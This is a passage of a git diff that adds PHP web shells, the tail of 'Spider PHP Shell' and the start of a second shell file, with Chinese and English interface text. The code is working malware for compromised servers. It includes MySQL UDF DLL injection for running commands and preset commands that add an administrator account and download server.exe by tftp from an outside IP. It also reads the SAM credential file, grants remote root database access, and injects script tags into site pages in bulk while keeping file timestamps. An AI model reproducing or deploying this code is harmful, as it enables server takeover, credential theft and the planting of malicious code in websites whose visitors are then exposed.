0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; +} + +function Mysql_m() +{ + $MSG_BOX = '请先导出DLL,再执行命令.MYSQL用户必须为root权限,导出路径必须能加载DLL文件.'; + $info = '命令回显'; + $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $mpath = 'C:/windows/mysqlDll.dll'; $sqlcmd = 'ver'; + if(isset($_POST['mhost']) && isset($_POST['muser'])) + { + $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; $mpath = File_Str($_POST['mpath']); $sqlcmd = $_POST['sqlcmd']; + $conn = mysql_connect($mhost.':'.$mport,$muser,$mpass); + if($conn) + { + @mysql_select_db($mdata); + if((!empty($_POST['outdll'])) && (!empty($_POST['mpath']))) + { + $query = "CREATE TABLE Spider_Temp_Tab (spider BLOB);"; + if(@mysql_query($query,$conn)) + { + $shellcode = Mysql_shellcode(); + $query = "INSERT into Spider_Temp_Tab values (CONVERT(".$shellcode.",CHAR));"; + if(@mysql_query($query,$conn)) + { + $query = 'SELECT spider FROM Spider_Temp_Tab INTO DUMPFILE \''.$mpath.'\';'; + if(@mysql_query($query,$conn)) + { + $ap = explode('/', $mpath); $inpath = array_pop($ap); + $query = 'Create Function state returns string soname \''.$inpath.'\';'; + $MSG_BOX = @mysql_query($query,$conn) ? '安装DLL成功' : '安装DLL失败'; + } + else $MSG_BOX = '导出DLL文件失败'; + } + else $MSG_BOX = '写入临时表失败'; + @mysql_query('DROP TABLE Spider_Temp_Tab;',$conn); + } + else $MSG_BOX = '创建临时表失败'; + } + if(!empty($_POST['runcmd'])) + { + $query = 'select state("'.$sqlcmd.'");'; + $result = @mysql_query($query,$conn); + if($result) + { + $k = 0; $info = NULL; + while($row = @mysql_fetch_array($result)){$infotmp .= $row[$k];$k++;} + $info = $infotmp; + $MSG_BOX = '执行成功'; + } + else $MSG_BOX = '执行失败'; + } + } + else $MSG_BOX = '连接MYSQL失败'; + } +print<< +function Fullm(i){ + Str = new Array(11); + Str[0] = "ver"; + Str[1] = "net user spider spider /add"; + Str[2] = "net localgroup administrators spider /add"; + Str[3] = "net start Terminal Services"; + Str[4] = "netstat -an"; + Str[5] = "ipconfig"; + Str[6] = "net user guest /active:yes"; + Str[7] = "copy c:\\\\1.php d:\\\\2.php"; + Str[8] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe"; + Str[9] = "net start telnet"; + Str[10] = "shutdown -r -t 0"; + mform.sqlcmd.value = Str[i]; + return true; +} + +
                +
                {$MSG_BOX}
                +
                +地址 +端口 +用户 +密码 +库名 +
                +可加载路径 +
                +
                安装成功后可用
                + + + +
                +
                +END; + return true; +} + +function Mysql_n() +{ + $MSG_BOX = ''; + $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();'; + if(isset($_POST['mhost']) && isset($_POST['muser'])) + { + $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; + if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata); + else $MSG_BOX = '连接MYSQL失败'; + } + $downfile = 'c:/windows/repair/sam'; + if(!empty($_POST['downfile'])) + { + $downfile = File_Str($_POST['downfile']); + $binpath = bin2hex($downfile); + $query = 'select load_file(0x'.$binpath.')'; + if($result = @mysql_query($query,$conn)) + { + $k = 0; $downcode = ''; + while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;} + $filedown = basename($downfile); + if(!$filedown) $filedown = 'spider.tmp'; + $array = explode('.', $filedown); + $arrayend = array_pop($array); + header('Content-type: application/x-'.$arrayend); + header('Content-Disposition: attachment; filename='.$filedown); + header('Content-Length: '.strlen($downcode)); + echo $downcode; + exit; + } + else $MSG_BOX = '下载文件失败'; + } + $o = isset($_GET['o']) ? $_GET['o'] : ''; + Root_CSS(); +print<< +
                +
                +地址 +端口 +用户 +密码 +库名 +
                +
                +END; +if($o == 'u') +{ + $uppath = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/exp.vbs'; + if(!empty($_POST['uppath'])) + { + $uppath = $_POST['uppath']; + $query = 'Create TABLE a (cmd text NOT NULL);'; + if(@mysql_query($query,$conn)) + { + if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));} + else{$tmp = File_Str(dirname(__FILE__)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}} + $query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));'; + if(@mysql_query($query,$conn)) + { + $query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';'; + $MSG_BOX = @mysql_query($query,$conn) ? '上传文件成功' : '上传文件失败'; + } + else $MSG_BOX = '插入临时表失败'; + @mysql_query('Drop TABLE IF EXISTS a;',$conn); + } + else $MSG_BOX = '创建临时表失败'; + } +print<<
                上传路径 +

                选择文件 +
                +END; +} +elseif($o == 'd') +{ +print<<

                下载文件 +
                +END; +} +else +{ + if(!empty($_POST['msql'])) + { + $msql = $_POST['msql']; + if($result = @mysql_query($msql,$conn)) + { + $MSG_BOX = '执行SQL语句成功
                '; + $k = 0; + while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} + } + else $MSG_BOX .= mysql_error(); + } +print<< +function nFull(i){ + Str = new Array(11); + Str[0] = "select version();"; + Str[1] = "select load_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C) FROM user into outfile 'D:/web/iis.txt'"; + Str[2] = "select '' into outfile 'F:/web/bak.php';"; + Str[3] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;"; + nform.msql.value = Str[i]; + return true; +} + +
                +
                + + +END; +} + if($MSG_BOX != '') echo '
                '.$MSG_BOX.'
                '; + else echo ''; + return true; +} + +//MYSQL管理 + +function Mysql_Len($data,$len) +{ + if(strlen($data) < $len) return $data; + return substr_replace($data,'...',$len); +} + +function Mysql_Msg() +{ + $conn = @mysql_connect($_COOKIE['m_spiderhost'].':'.$_COOKIE['m_spiderport'],$_COOKIE['m_spideruser'],$_COOKIE['m_spiderpass']); + if($conn) + { +print<< +function Delok(msg,gourl) +{ + smsg = "确定要删除[" + unescape(msg) + "]吗?"; + if(confirm(smsg)){window.location = gourl;} +} +function Createok(ac) +{ + if(ac == 'a') document.getElementById('nsql').value = 'CREATE TABLE name (spider BLOB);'; + if(ac == 'b') document.getElementById('nsql').value = 'CREATE DATABASE name;'; + if(ac == 'c') document.getElementById('nsql').value = 'DROP DATABASE name;'; + return false; +} + +END; + $BOOL = false; + $MSG_BOX = '用户:'.$_COOKIE['m_spideruser'].'      地址:'.$_COOKIE['m_spiderhost'].':'.$_COOKIE['m_spiderport'].'      版本:'; + $k = 0; + $result = @mysql_query('select version();',$conn); + while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} + echo '
                数据库:'; + $result = mysql_query("SHOW DATABASES",$conn); + while($db = mysql_fetch_array($result)){echo '  ['.$db['Database'].']';} + echo '
                '; + if(isset($_GET['db'])) + { + mysql_select_db($_GET['db'],$conn); + if(!empty($_POST['nsql'])){$BOOL = true; $MSG_BOX = mysql_query($_POST['nsql'],$conn) ? '执行成功' : '执行失败 '.mysql_error();} + if(is_array($_POST['insql'])) + { + $query = 'INSERT INTO '.$_GET['table'].' ('; + foreach($_POST['insql'] as $var => $key) + { + $querya .= $var.','; + $queryb .= '\''.addslashes($key).'\','; + } + $query = $query.substr($querya, 0, -1).') VALUES ('.substr($queryb, 0, -1).');'; + $MSG_BOX = mysql_query($query,$conn) ? '添加成功' : '添加失败 '.mysql_error(); + } + if(is_array($_POST['upsql'])) + { + $query = 'UPDATE '.$_GET['table'].' SET '; + foreach($_POST['upsql'] as $var => $key) + { + $queryb .= $var.'=\''.addslashes($key).'\','; + } + $query = $query.substr($queryb, 0, -1).' '.base64_decode($_POST['wherevar']).';'; + $MSG_BOX = mysql_query($query,$conn) ? '修改成功' : '修改失败 '.mysql_error(); + } + if(isset($_GET['del'])) + { + $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['del'].', 1;',$conn); + $good = mysql_fetch_assoc($result); + $query = 'DELETE FROM '.$_GET['table'].' WHERE '; + foreach($good as $var => $key){$queryc .= $var.'=\''.addslashes($key).'\' AND ';} + $where = $query.substr($queryc, 0, -4).';'; + $MSG_BOX = mysql_query($where,$conn) ? '删除成功' : '删除失败 '.mysql_error(); + } + $action = '?s=r&db='.$_GET['db']; + if(isset($_GET['drop'])){$query = 'Drop TABLE IF EXISTS '.$_GET['drop'].';';$MSG_BOX = mysql_query($query,$conn) ? '删除成功' : '删除失败 '.mysql_error();} + if(isset($_GET['table'])){$action .= '&table='.$_GET['table'];if(isset($_GET['edit'])) $action .= '&edit='.$_GET['edit'];} + if(isset($_GET['insert'])) $action .= '&insert='.$_GET['insert']; + echo '
                '; + echo ' '; + echo ' '; + echo ' '; + echo ' '; + echo '
                '; + echo '
                '.$MSG_BOX.'
                '.$_GET['db'].' ---> '; + if(isset($_GET['table'])) + { + echo ''.$_GET['table'].' '; + echo '[插入]
                '; + if(isset($_GET['edit'])) + { + if(isset($_GET['p'])) $atable = $_GET['table'].'&p='.$_GET['p']; else $atable = $_GET['table']; + echo '
                '; + $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['edit'].', 1;',$conn); + $good = mysql_fetch_assoc($result); + $u = 0; + foreach($good as $var => $key) + { + $queryc .= $var.'=\''.$key.'\' AND '; + $type = @mysql_field_type($result, $u); + $len = @mysql_field_len($result, $u); + echo '
                '.$var.' '.$type.'('.$len.')
                '; + $u++; + } + $where = 'WHERE '.substr($queryc, 0, -4); + echo ''; + echo '
                '; + } + else + { + $query = 'SHOW COLUMNS FROM '.$_GET['table']; + $result = mysql_query($query,$conn); + $fields = array(); + $row_num = mysql_num_rows(mysql_query('SELECT * FROM '.$_GET['table'],$conn)); + if(!isset($_GET['p'])){$p = 0;$_GET['p'] = 1;} else $p = ((int)$_GET['p']-1)*20; + echo ''; + echo ''; + while($row = @mysql_fetch_assoc($result)) + { + array_push($fields,$row['Field']); + echo ''; + } + echo ''; + if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $query = $_POST['nsql']; else $query = 'SELECT * FROM '.$_GET['table'].' LIMIT '.$p.', 20;'; + $result = mysql_query($query,$conn); + $v = $p; + while($text = @mysql_fetch_assoc($result)) + { + echo ''; + foreach($fields as $row){echo '';} + echo ''."\r\n";$v++; + } + echo '
                操作'.$row['Field'].'
                修改 '; + echo ' 删除 '.nl2br(htmlspecialchars(Mysql_Len($text[$row],500))).'
                '; + for($i = 1;$i <= ceil($row_num / 20);$i++){$k = ((int)$_GET['p'] == $i) ? ''.$i.'' : $i;echo '['.$k.'] ';} + echo '
                '; + } + } + elseif(isset($_GET['insert'])) + { + echo ''.$_GET['insert'].''; + $result = mysql_query('SELECT * FROM '.$_GET['insert'],$conn); + $fieldnum = @mysql_num_fields($result); + echo '
                '; + for($i = 0;$i < $fieldnum;$i++) + { + $name = @mysql_field_name($result, $i); + $type = @mysql_field_type($result, $i); + $len = @mysql_field_len($result, $i); + echo '
                '.$name.' '.$type.'('.$len.')
                '; + } + echo '
                '; + } + else + { + $query = 'SHOW TABLE STATUS'; + $status = @mysql_query($query,$conn); + while($statu = @mysql_fetch_array($status)) + { + $statusize[] = $statu['Data_length']; + $statucoll[] = $statu['Collation']; + } + $query = 'SHOW TABLES FROM '.$_GET['db'].';'; + echo ''; + echo ''; + echo ''; + echo ''; + echo ''; + $result = @mysql_query($query,$conn); + $k = 0; + while($table = mysql_fetch_row($result)) + { + echo ''; + echo ''; + echo ''."\r\n"; + $k++; + } + echo '
                表名 操作 字符集 大小
                '.$table[0].' 插入 删除 '.$statucoll[$k].''.File_Size($statusize[$k]).'
                '; + } + } + } + else die('连接MYSQL失败,请重新登陆.'); + if(!$BOOL) echo ''; + return false; +} + +function Mysql_o() +{ + ob_start(); + if(isset($_POST['mhost']) && isset($_POST['mport']) && isset($_POST['muser']) && isset($_POST['mpass'])) + { + if(@mysql_connect($_POST['mhost'].':'.$_POST['mport'],$_POST['muser'],$_POST['mpass'])) + { + $cookietime = time() + 24 * 3600; + setcookie('m_spiderhost',$_POST['mhost'],$cookietime); + setcookie('m_spiderport',$_POST['mport'],$cookietime); + setcookie('m_spideruser',$_POST['muser'],$cookietime); + setcookie('m_spiderpass',$_POST['mpass'],$cookietime); + die('正在登陆,请稍候...'); + } + } +print<< +
                地址
                +
                端口
                +
                用户
                +
                密码
                +
                + +END; + ob_end_flush(); + return true; +} + +function Root_Login($MSG_TOP) +{ +print<< + +
                +
                +
                +
                {$MSG_TOP}
                +
                PASS:
                +
                +
                +
                +
                + + +END; + return false; +} + +function WinMain() +{ + $Server_IP = gethostbyname($_SERVER["SERVER_NAME"]); + $Server_OS = PHP_OS; + $Server_Soft = $_SERVER["SERVER_SOFTWARE"]; + $Server_Alexa = 'http://cn.alexa.com/siteinfo/'.str_replace('www.','',$_SERVER['SERVER_NAME']); +print<< + Spider PHP Shell (SPS-3.0) + + + + + + + + +END; +return false; +} + +if(get_magic_quotes_gpc()) +{ + $_GET = Root_GP($_GET); + $_POST = Root_GP($_POST); +} +if($_GET['s'] == 'logout') +{ + setcookie('admin_spiderpass',NULL); + die(''); +} +if($_COOKIE['admin_spiderpass'] != md5($password)) +{ + ob_start(); + $MSG_TOP = 'LOGIN'; + if(isset($_POST['spiderpass'])) + { + $cookietime = time() + 24 * 3600; + setcookie('admin_spiderpass',md5($_POST['spiderpass']),$cookietime); + if(md5($_POST['spiderpass']) == md5($password)){die('');} + + else{$MSG_TOP = 'PASS IS FALSE';} + } + Root_Login($MSG_TOP); + ob_end_flush(); + exit; +} + +if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' && $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';} +$p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__)); + +switch($s) +{ + case "a" : File_a($p); break; + case "b" : Guama_b(); break; + case "c" : Qingma_c(); break; + case "d" : Tihuan_d(); break; + case "e" : Antivirus_e(); break; + case "f" : Info_f(); break; + case "g" : Exec_g(); break; + case "h" : Com_h(); break; + case "i" : Port_i(); break; + case "j" : Findfile_j(); break; + case "k" : Linux_k(); break; + case "l" : Servu_l(); break; + case "m" : Mysql_m(); break; + case "n" : Mysql_n(); break; + case "o" : Mysql_o(); break; + case "p" : File_Edit($_GET['fp'],$_GET['fn']); break; + case "q" : File_Soup($p); break; + case "r" : Mysql_Msg(); break; + default: WinMain(); break; +} +?> + diff --git "a/php/r00ts php\345\244\247\351\251\254.php" "b/php/r00ts php\345\244\247\351\251\254.php" new file mode 100644 index 0000000..bb9446d --- /dev/null +++ "b/php/r00ts php\345\244\247\351\251\254.php" @@ -0,0 +1,2557 @@ + + *{padding:0; margin:0;} + body{background:threedface;font-family:"Verdana", "Tahoma", sans-serif; font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;} + a{color:#000000;text-decoration:none;} + a:hover{background:#33FF33;} + table{color:#000000;font-family:"Verdana", "Tahoma", sans-serif;font-size:13px;border:1px solid #999999;} + td{background:#F9F6F4;} + .bt{background:#3d3d3d;color:#ffffff;border:2px;font:13px Arial,Tahoma;height:22px;} + .toptd{background:threedface; width:310px; border-color:#FFFFFF #999999 #999999 #FFFFFF; border-style:solid;border-width:1px;} + .msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;} + .actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;} +\n +END; +return false; +} + +//file manager +function File_Str($string) +{ + return str_replace('//','/',str_replace('\\','/',$string)); +} + +function File_Size($size) +{ + if($size > 1073741824) $size = round($size / 1073741824 * 100) / 100 . ' G'; + elseif($size > 1048576) $size = round($size / 1048576 * 100) / 100 . ' M'; + elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K'; + else $size = $size . ' B'; + return $size; +} + +function File_Mode() +{ + $RealPath = realpath('./'); + $SelfPath = $_SERVER['PHP_SELF']; + $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/')); + return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath))); +} + +function File_Read($filename) +{ + $handle = @fopen($filename,"rb"); + $filecode = @fread($handle,@filesize($filename)); + @fclose($handle); + return $filecode; +} + +function File_Write($filename,$filecode,$filemode) +{ + $handle = @fopen($filename,$filemode); + $key = @fwrite($handle,$filecode); + if(!$key) + { + @chmod($filename,0666); + $key = @fwrite($handle,$filecode); + } + @fclose($handle); + return $key; +} + +function File_Up($filea,$fileb) +{ + $key = @copy($filea,$fileb) ? true : false; + if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false; + return $key; +} + +function File_Down($filename) +{ + if(!file_exists($filename)) return false; + $filedown = basename($filename); + $array = explode('.', $filedown); + $arrayend = array_pop($array); + header('Content-type: application/x-'.$arrayend); + header('Content-Disposition: attachment; filename='.$filedown); + header('Content-Length: '.filesize($filename)); + @readfile($filename); + exit; +} + +function File_Deltree($deldir) +{ + if(($mydir = @opendir($deldir)) == NULL) return false; + while(false !== ($file = @readdir($mydir))) + { + $name = File_Str($deldir.'/'.$file); + if((is_dir($name)) && ($file!='.') && ($file!='..')){@chmod($name,0777);rmdir($name);} + if(is_file($name)){@chmod($name,0777);@unlink($name);} + } + @closedir($mydir); + @chmod($deldir,0777); + return @rmdir($deldir) ? true : false; +} + +function File_Act($array,$actall,$inver) +{ + if(($count = count($array)) == 0) return 'select file plz'; + $i = 0; + while($i < $count) + { + $array[$i] = urldecode($array[$i]); + switch($actall) + { + case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return 'path error'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = 'copy'; break; + case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = 'del'; break; + case "c" : if(!eregi("^[0-7]{4}$",$inver)) return 'wrong attr value'; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = 'change attr'; break; + case "d" : @touch($array[$i],strtotime($inver)); $msg = 'change time'; break; + } + $i++; + } + return 'select files '.$msg.' done'; +} + +function File_Edit($filepath,$filename,$dim = '') +{ + $THIS_DIR = urlencode($filepath); + $THIS_FILE = File_Str($filepath.'/'.$filename); + if(file_exists($THIS_FILE)){$FILE_TIME = @date('Y-m-d H:i:s',filemtime($THIS_FILE));$FILE_CODE = htmlspecialchars(File_Read($THIS_FILE));} + else {$FILE_TIME = @date('Y-m-d H:i:s',time());$FILE_CODE = '';} +print<< +var NS4 = (document.layers); +var IE4 = (document.all); +var win = this; +var n = 0; +function search(str){ + var txt, i, found; + if(str == "")return false; + if(NS4){ + if(!win.find(str)) while(win.find(str, false, true)) n++; else n++; + if(n == 0) alert(str + " ... Not-Find") + } + if(IE4){ + txt = win.document.body.createTextRange(); + for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){ + txt.moveStart("character", 1); + txt.moveEnd("textedit") + } + if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++} + else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")} + } + return false +} +function CheckDate(){ + var re = document.getElementById('mtime').value; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('wrong time!format:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('editor').submit();} +} + +
                search content: +
                +
                +
                +
                +
                change file time
                +
                +
                +
                +END; +} + + +function File_a($p) +{ + $MSG_BOX = 'waiting for message queue......'; + if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/'; + $UP_DIR = urlencode(File_Str($p.'/..')); + $REAL_DIR = File_Str(realpath($p)); + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); + $THIS_DIR = urlencode(File_Str($p)); + $UP_DIR = urlencode(File_Str(dirname($p))); + $NUM_D = 0; + $NUM_F = 0; + if(!empty($_POST['pfn'])){$intime = @strtotime($_POST['mtime']);$MSG_BOX = File_Write($_POST['pfn'],$_POST['pfc'],'wb') ? 'edit file '.$_POST['pfn'].' success' : 'edit file '.$_POST['pfn'].' faild';@touch($_POST['pfn'],$intime);} + if(!empty($_POST['ufs'])){if($_POST['ufn'] != '') $upfilename = $_POST['ufn']; else $upfilename = $_FILES['ufp']['name'];$MSG_BOX = File_Up($_FILES['ufp']['tmp_name'],File_Str($p.'/'.$upfilename)) ? 'upfile '.$upfilename.' success' : 'upfile '.$upfilename.' 失败';} + if(!empty($_POST['actall'])){$MSG_BOX = File_Act($_POST['files'],$_POST['actall'],$_POST['inver']);} + if(!empty($_GET['mn'])){$MSG_BOX = @rename(File_Str($p.'/'.$_GET['mn']),File_Str($p.'/'.$_GET['rn'])) ? 'rename '.$_GET['mn'].' to '.$_GET['rn'].' success' : 'rename '.$_GET['mn'].' to '.$_GET['rn'].' faild';} + if(!empty($_GET['dn'])){$MSG_BOX = @mkdir(File_Str($p.'/'.$_GET['dn']),0777) ? 'create folder '.$_GET['dn'].' success' : 'create folder '.$_GET['dn'].' faild';} + if(!empty($_GET['dd'])){$MSG_BOX = File_Deltree($_GET['dd']) ? 'del folder '.$_GET['dd'].' success' : 'del folder '.$_GET['dd'].' faild';} + if(!empty($_GET['df'])){if(!File_Down($_GET['df'])) $MSG_BOX = 'the download file does not exists';} + Root_CSS(); +print<< + function Inputok(msg,gourl) + { + smsg = "current file:[" + msg + "]"; + re = prompt(smsg,unescape(msg)); + if(re) + { + var url = gourl + escape(re); + window.location = url; + } + } + function Delok(msg,gourl) + { + smsg = "sure for del [" + unescape(msg) + "] ?"; + if(confirm(smsg)) + { + if(gourl == 'b'){document.getElementById('actall').value = escape(gourl);document.getElementById('fileall').submit();} + else window.location = gourl; + } + } + function CheckDate(msg,gourl) + { + smsg = "current file time:[" + msg + "]"; + re = prompt(smsg,msg); + if(re) + { + var url = gourl + re; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('time error!format:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();} + } + } + function CheckAll(form) + { + for(var i=0;i +
                {$MSG_BOX}
                +
                +
                + +
                +
                +
                + + + + + +
                +
                +
                + + + + + + +END; + if(($h_d = @opendir($p)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' or $Filename == '..') continue; + $Filepath = File_Str($p.'/'.$Filename); + if(is_dir($Filepath)) + { + $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + $Filepath = urlencode($Filepath); + echo "\n".''; + $Filename = urlencode($Filename); + echo ''; + echo ''; + echo ' '; + echo ''."\n"; + $NUM_D++; + } + } + @rewinddir($h_d); + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' or $Filename == '..') continue; + $Filepath = File_Str($REAL_DIR.'/'.$Filename); + if(!is_dir($Filepath)) + { + $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$Filepath); + $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + $Filesize = File_Size(@filesize($Filepath)); + if($Filepath == File_Str(__FILE__)) $fname = ''.$Filename.''; else $fname = $Filename; + echo "\r\n".' '; + $Filepath = urlencode($Filepath); + $Filename = urlencode($Filename); + echo ' '; + echo ' '; + echo ' '; + echo ' '."\r\n"; + $NUM_F++; + + } + } + @closedir($h_d); +print<< +
                + + + + + + +folders({$NUM_D}) / files({$NUM_F})
                + +END; + return true; +} + + +//Insert Trojan +function Guama_Pass($length) +{ + $possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + $str = ""; + while(strlen($str) < $length) $str .= substr($possible,(rand() % strlen($possible)),1); + return $str; +} + +function Guama_Auto($gp,$gt,$gl,$gc,$incode,$gk,$gd,$gb,$go) +{ + if(($h_d = @opendir($gp)) == NULL) return false; + if($go) + { + preg_match_all("/\[\-([^~]*?)\-\]/i",$gc,$nc); + $passm = (int)$nc[1][0]; + if((!eregi("^[0-9]{1,2}$",$nc[1][0])) || ($passm > 12)) return false; + } + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + if($gl != ''){if(eregi($gl,$Filename)) continue;} + $Filepath = File_Str($gp.'/'.$Filename); + if(is_dir($Filepath) && $gb) Guama_Auto($Filepath,$gt,$gl,$gc,$incode,$gk,$gd,$gb,$go); + if(eregi($gt,$Filename)) + { + $ic = File_Read($Filepath); + if(stristr($ic,$gk)) continue; + if($go) $gc = str_replace($nc[0][0],Guama_Pass($passm),$gc); + if($gd) $ftime = @filemtime($Filepath); + if($incode == '1'){if(!stristr($ic,'')) continue; $ic = str_replace('',"\r\n".$gc."\r\n".''."\r\n",$ic); $ic = str_replace('',"\r\n".$gc."\r\n".''."\r\n",$ic);} + if($incode == '2') $ic = $gc."\r\n".$ic; + if($incode == '3') $ic = $ic."\r\n".$gc; + echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'
                '."\r\n" : 'err:'.$Filepath.'
                '."\r\n"; + if($gd) @touch($Filepath,$ftime); + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Guama_b() +{ + if((!empty($_POST['gp'])) && (!empty($_POST['gt'])) && (!empty($_POST['gc']))) + { + $gk = ''; + $go = false; + $gt = str_replace('.','\\.',$_POST['gt']); + $gl = isset($_POST['gl']) ? str_replace('.','\\.',$_POST['gl']) : ''; + $gd = isset($_POST['gd']) ? true : false; + $gb = ($_POST['gb'] == 'a') ? true : false; + if(isset($_POST['gx'])){$gk = $_POST['gc'];if(stristr($_POST['gc'],'[-') && stristr($_POST['gc'],'-]')){$temp = explode('[-',$_POST['gc']); $gk = $temp[0]; $go = true;}} + echo Guama_Auto($_POST['gp'],$gt,$gl,$_POST['gc'],$_POST['incode'],$gk,$gd,$gb,$go) ? 'Done' : 'Abort'; + echo '
                '; + return false; + } + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); +print<< +function Fulll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";sform.gp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";sform.gt.value = Str[i];} + return true; +} +function autorun(){ + if(document.getElementById('gp').value == ''){alert('path can not be empty');return false;} + if(document.getElementById('gt').value == ''){alert('type can not be empty');return false;} + if(document.getElementById('gc').value == ''){alert('code can not be empty');return false;} + document.getElementById('sform').submit(); +} + +
                +
                Path: +
                +
                Type: +
                +
                Filter: +Open Close
                +
                Insert Code: +
                挂马变形说明: 程序自动寻找[-6-]标签,替换为随机字符,6表示六位随机字符,最大12位,如果不变形可以不加[-6-]标签. +
                Example: <script language=javascript src="http://www.baidu.com/ad.js?EMTDSU"></script>
                +
                insert before </head> +insert the top of file +insert the end of file
                +
                Automatic filter double code keep file time unchanged
                +
                applied to current folder,subfolders and files +
                only applied to current folder
                +
                + +END; +return true; +} + +//clean code + +function Qingma_Auto($qp,$qt,$qc,$qd,$qb) +{ + if(($h_d = @opendir($qp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($qp.'/'.$Filename); + if(is_dir($Filepath) && $qb) Qingma_Auto($Filepath,$qt,$qc,$qd,$qb); + if(eregi($qt,$Filename)) + { + $ic = File_Read($Filepath); + if(!stristr($ic,$qc)) continue; + $ic = str_replace($qc,'',$ic); + if($qd) $ftime = @filemtime($Filepath); + echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'
                '."\r\n" : 'err:'.$Filepath.'
                '."\r\n"; + if($qd) @touch($Filepath,$ftime); + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Qingma_c() +{ + if((!empty($_POST['qp'])) && (!empty($_POST['qt'])) && (!empty($_POST['qc']))) + { + $qt = str_replace('.','\\.',$_POST['qt']); + $qd = isset($_POST['qd']) ? true : false; + $qb = ($_POST['qb'] == 'a') ? true : false; + echo Qingma_Auto($_POST['qp'],$qt,$_POST['qc'],$qd,$qb) ? 'Done' : 'Abort'; + echo '
